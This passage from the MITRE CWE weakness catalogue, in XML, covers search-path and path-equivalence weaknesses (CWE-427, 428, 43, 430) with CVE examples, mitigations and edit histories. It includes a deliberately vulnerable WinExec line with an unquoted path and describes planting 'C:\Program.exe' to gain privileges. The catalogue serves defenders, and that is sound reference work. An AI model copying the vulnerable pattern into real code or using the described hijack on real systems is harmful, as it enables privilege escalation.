               <Description>A Static Site Generator built in Go, when running on Windows, searches the current working directory for a command, possibly allowing code execution using a malicious .exe or .bat file with the name being searched</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-26284</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-24765</Reference>
               <Description>Windows-based fork of git creates a ".git" folder in the C: drive, allowing local attackers to create a .git folder with a malicious config file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-24765</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-1552</Reference>
               <Description>SSL package searches under "C:/usr/local" for configuration files and other critical data, but C:/usr/local might be world-writable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-1552</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3402</Reference>
               <Description>"DLL hijacking" issue in document editor.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3402</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3397</Reference>
               <Description>"DLL hijacking" issue in encryption software.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3397</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3138</Reference>
               <Description>"DLL hijacking" issue in library used by multiple media players.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3138</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3152</Reference>
               <Description>"DLL hijacking" issue in illustration program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3147</Reference>
               <Description>"DLL hijacking" issue in address book.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3147</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3135</Reference>
               <Description>"DLL hijacking" issue in network monitoring software.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3135</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3131</Reference>
               <Description>"DLL hijacking" issue in web browser.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3131</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1795</Reference>
               <Description>"DLL hijacking" issue in music player/organizer.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1795</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1576</Reference>
               <Description>Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1576</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1461</Reference>
               <Description>Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicous version of that program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1461</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1318</Reference>
               <Description>Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1318</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0579</Reference>
               <Description>Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0579</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0854</Reference>
               <Description>When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0854</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0943</Reference>
               <Description>Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0943</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0942</Reference>
               <Description>Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0942</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0507</Reference>
               <Description>Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0507</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2017</Reference>
               <Description>Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2017</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0690</Reference>
               <Description>Product includes the current directory in root's PATH variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0690</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0912</Reference>
               <Description>Error during packaging causes product to include a hard-coded, non-standard directory in search path.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0912</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0289</Reference>
               <Description>Product searches current working directory for configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0289</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1705</Reference>
               <Description>Product searches current working directory for configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1705</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1307</Reference>
               <Description>Product executable other program from current working directory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1307</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2040</Reference>
               <Description>Untrusted path.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2040</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2072</Reference>
               <Description>Modification of trusted environment variable leads to untrusted path vulnerability.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1632</Reference>
               <Description>Product searches /tmp for modules before other paths.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1632</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Uncontrolled Search Path Element</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="38"/>
            <Related_Attack_Pattern CAPEC_ID="471"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-409"/>
            <Reference External_Reference_ID="REF-410"/>
            <Reference External_Reference_ID="REF-411"/>
            <Reference External_Reference_ID="REF-412"/>
            <Reference External_Reference_ID="REF-413"/>
            <Reference External_Reference_ID="REF-414"/>
            <Reference External_Reference_ID="REF-415"/>
            <Reference External_Reference_ID="REF-416"/>
            <Reference External_Reference_ID="REF-417"/>
            <Reference External_Reference_ID="REF-1168"/>
            <Reference External_Reference_ID="REF-1169"/>
            <Reference External_Reference_ID="REF-1170"/>
            <Reference External_Reference_ID="REF-1325"/>
            <Reference External_Reference_ID="REF-1326"/>
         </References>
         <Notes>
            <Note Type="Relationship">Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).</Note>
            <Note Type="Theoretical">This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Description, Maintenance_Notes, Observed_Examples, References, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Maintenance_Notes, References, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Anonymous External Contributor</Contribution_Name>
				  <Contribution_Date>2022-05-24</Contribution_Date>
				  <Contribution_Comment>provided observed examples and descriptions for Windows drive root</Contribution_Comment>
				</Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="428" Name="Unquoted Search Path or Element" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.</Description>
         <Extended_Description>If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Name="Windows NT" Prevalence="Sometimes"/>
            <Operating_System Name="macOS" Prevalence="Rarely"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly quote the full search path before executing a program on the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1185</Reference>
               <Description>Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1185</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2938</Reference>
               <Description>CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2938</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1128</Reference>
               <Description>Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1128</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Program Invocation</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unquoted Search Path or Element</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;Process Loading&#34;, Page 654"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .</xhtml:p>
            </Note>
            <Note Type="Maintenance">
               <xhtml:p>This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message.</xhtml:p>
               <xhtml:p>An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Maintenance_Notes, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="43" Name="Path Equivalence: 'filename....' (Multiple Trailing Dot)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="42" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="163" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>BUGTRAQ:20040205</Reference>
               <Description>Apache + Resin Reveals JSP Source Code ...</Description>
               <Link>http://marc.info/?l=bugtraq&amp;m=107605633904122&amp;w=2</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0281</Reference>
               <Description>Multiple trailing dot allows directory listing</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0281</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Trailing Dot - 'filedir....'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Trailing Dot - 'filedir....'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="430" Name="Deployment of Wrong Handler" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The wrong "handler" is assigned to process an object.</Description>
         <Extended_Description>An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="433" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="434" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>This weakness is usually resultant from other weaknesses.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Perform a type check before interpreting an object.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0004</Reference>
               <Description>Source code disclosure via manipulated file extension that causes parsing by wrong DLL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0004</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0025</Reference>
               <Description>Web browser does not properly handle the Content-Type header field, causing a different application to process the document.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1052</Reference>
               <Description>Source code disclosure by directly invoking a servlet.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1052</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1742</Reference>
               <Description>Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1742</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
